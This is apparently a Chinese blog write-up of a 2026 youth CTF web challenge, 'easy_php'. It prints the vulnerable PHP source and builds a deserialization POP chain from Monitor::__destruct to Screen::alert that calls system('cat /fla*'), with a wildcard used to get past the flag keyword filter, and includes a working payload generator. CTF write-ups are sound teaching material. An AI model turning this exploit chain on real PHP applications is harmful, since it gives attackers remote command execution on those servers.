【青少年CTF S1·2026 公益赛】easy_php

php 复制代码
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS: FLAG在根目录下

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }
}

class Logger {
    public function alert() {
        echo "System normal. No alert needed.\n";
    }
}

class Screen {
    public $content;
    public $format;

    public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }
}

// 入口点
if (isset($_GET['code'])) {
    $input = $_GET['code'];

    // 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
    if (preg_match('/flag/i', $input)) {
        die("No flag here!");
    }

    unserialize($input);
} else {
    highlight_file(__FILE__);
}
?>

PHP 反序列化 (POP 链构造)题目

php 复制代码
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。

那么我们先寻找利用点,下面这段代码想办法把func变成system,然后this->content变成cat /flag

php 复制代码
public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }

那么我们如何调用Screen类下的alert()函数呢?

可以看到在Monitor中会调用alert()函数

php 复制代码
public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }

但是这里有一个问题,在Monitor的构造函数中,发现$this->reporter = new Logger(),reporter会new Logger()

但是这个Logger不是我们想要的

php 复制代码
public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

因此我们要想办法将Logger替换为Screen

最后Monitor销毁的时候会自动调用__destruct()实现攻击

思路整理如下:

php 复制代码
我们需要做的事情:
1、在Screen类中
将$format = 'system'
将$content = 'cat /flag'

2、在Monitor类中
将$status = 'danger'
将$reporter = new Screen()

我的payload如下

php 复制代码
<?php

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "danger";
        $this->reporter = new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量
    }

}


class Screen {
    public $content = "cat /fla*";  # 通过通配符绕过flag过滤
    public $format = "system";  # 静态变量可以直接这样赋值


}

$exp = new Monitor();
echo(urlencode(serialize($exp)));

?>

下面是原作者的图

这里我直接本机演示下我的payload是否可行,尝试执行whoami命令,是正常可用的

相关推荐
Johny_Zhao9 小时前
网络安全等级保护测评实施方案
linux·网络·人工智能·网络安全·信息安全·云计算·等保测评·系统运维·itsm
菩提小狗9 小时前
每日安全情报报告 · 2026-09-06
网络安全·漏洞·cve·安全情报·每日安全
HackTwoHub16 小时前
BurpSuite2026.8专业(稳定版)下载Windows/Linux/Mac支持Java21以上(新增Burp AT智能体)
linux·运维·服务器·安全·macos·网络安全·自动化
Chockmans17 小时前
SRC---信息收集(灯塔自动化推荐)
网络安全
数据知道17 小时前
YARA 规则编写实战——从样本到检测规则
网络·安全·网络安全
Fnetlink119 小时前
Fnet 云网安 260907
网络·人工智能·安全·web安全·网络安全·智能路由器
学逆向的19 小时前
PE——合并节
开发语言·网络安全·pe
武汉唯众智创19 小时前
计算机网络综合实训室怎么建?2026版建设思路、云平台架构与课程体系深度拆解
网络安全·产教融合·职业教育·计算机网络综合实训室·实训室建设·网络系统建设与运维·网络实训室
锐速网络20 小时前
漏洞管理闭环:扫描、验证、渗透、修复全流程
网络安全·渗透测试·漏洞管理·漏洞修复·漏洞扫描·安全运维·虚拟补丁
上学的小垃圾20 小时前
华为eNSP防火墙USG6000V登录管理方式
网络·网络安全·华为